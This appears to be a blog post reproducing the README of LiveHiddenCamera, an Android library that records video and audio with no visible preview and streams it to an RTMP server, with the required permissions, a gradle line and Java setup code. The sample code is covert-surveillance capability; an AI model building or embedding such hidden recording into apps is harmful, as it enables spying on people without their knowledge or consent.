LiveHiddenCamera : Library Which Record Live Video & Audio From Android Device Without Displaying A Preview

LiveHiddenCamera is a library which record live video and audio from Android device without displaying a preview.

How to use ?

I’ve created a library to make it more usable. The only requirement is to add the library to your project and pass the Rtmp URL to it.

Also Read – Windows Hacks : Creative & Unusual Things That Can Be Done With The Windows API

Additionally you should care about:

  • Your application should have the following permissions in Manifest.xml:

<uses-permission android:name=”android.permission.INTERNET” />
<uses-permission android:name=”android.permission.CAMERA” />
<uses-permission android:name=”android.permission.RECORD_AUDIO” />
<uses-permission android:name=”android.permission.SYSTEM_ALERT_WINDOW” />

  • You should handle that the declared permissions are granted to your application

Adding Library

The usage of the library is straight. Just add the following library to the gradle.build file of your project.

compile 'ir.mstajbakhsh.android:LiveHiddenCamera:0.1.2'

  • Update: In the previouls release, Main Activity with Launcher filter was in library, which made the application (that uses the library), had two icons. In this release, the filter is commented in Manifest.

Creating RTMP Server

Before using the library, you should have deployed an Rtmp server. I’ve ued Ant Media Server. There is a nice guide on Ant Media Server installation in THIS LINK.

After starting the Ant Media Rtmp server, you should see something like this: 

Sample Code

After adding the library to your project, do the following steps:

  • Create a class which implements: RtmpHandler.RtmpListener, SrsRecordHandler.SrsRecordListener, SrsEncodeHandler.SrsEncodeListener
  • Create two fields (one for publish and one for preview):private SrsPublisher mPublisher;
    private SrsCameraView mCameraView;
  • Implement a function for starting the Live Hidden Camera:

private void initHiddenCam(String rtmpURL) {
HiddenCameraLayout l = new HiddenCameraLayout(getApplicationContext(), new HiddenCameraLayout.PermissionHandler() {
@Override
public void onPermissionNotGrantedException(Exception ex) {
Log.d(“HCL”, “Ask user to grant permission.”);
Log.e(“HCL”, ex.getMessage());
}
});

//start config
CameraConfig cameraConfig = new CameraConfig()
.getBuilder(MainActivity.this.getApplicationContext())
.setCameraFacing(CameraFacing.REAR_FACING_CAMERA)
.build();
mCameraView = l.initHiddenLayout(cameraConfig);

mPublisher = new SrsPublisher(mCameraView); mPublisher.setEncodeHandler(new SrsEncodeHandler(this)); mPublisher.setRtmpHandler(new RtmpHandler(this)); mPublisher.setRecordHandler(new SrsRecordHandler(this)); mPublisher.setPreviewResolution(640, 360); mPublisher.setOutputResolution(640, 360); mPublisher.setVideoHDMode(); mPublisher.startPublish(rtmpURL); mPublisher.startCamera();
}

R K

Recent Posts

Burrow – Breaking Through Firewalls With Open Source Ingenuity

Burrow is an open source tool for burrowing through firewalls, built by teenagers at Hack Club.…

2 days ago

Its-A-Trap : Building Secure Web Applications With A Golang Web Server For Authentication

Simple golang webserver that listens for basic auth or post requests and sends a notification…

2 days ago

Nutek-Apple : Unleashing Power On macOS And Linux

Nutek Security Platform for macOS and Linux operating systems. Tools for hackers, bug hunters and…

2 days ago

SecureSphere Labs – A Haven For Cybersecurity Innovators And Ethical Hackers

Welcome to SecureSphere Labs, your go-to destination for a curated collection of powerful hacking tools…

2 days ago

Vulpes/VulpOS : The Docker-Powered All-in-One Workstation For Penetration Testing And Offsec Labs

All in one Docker-based workstation with hacking tools for Pentesting and offsec Labs by maintained…

2 days ago

LiCo-Extrator : Revolutionizing Icon Extraction Across Platforms

Got it! Below is the updated README.md file with instructions for downloading the project on…

2 days ago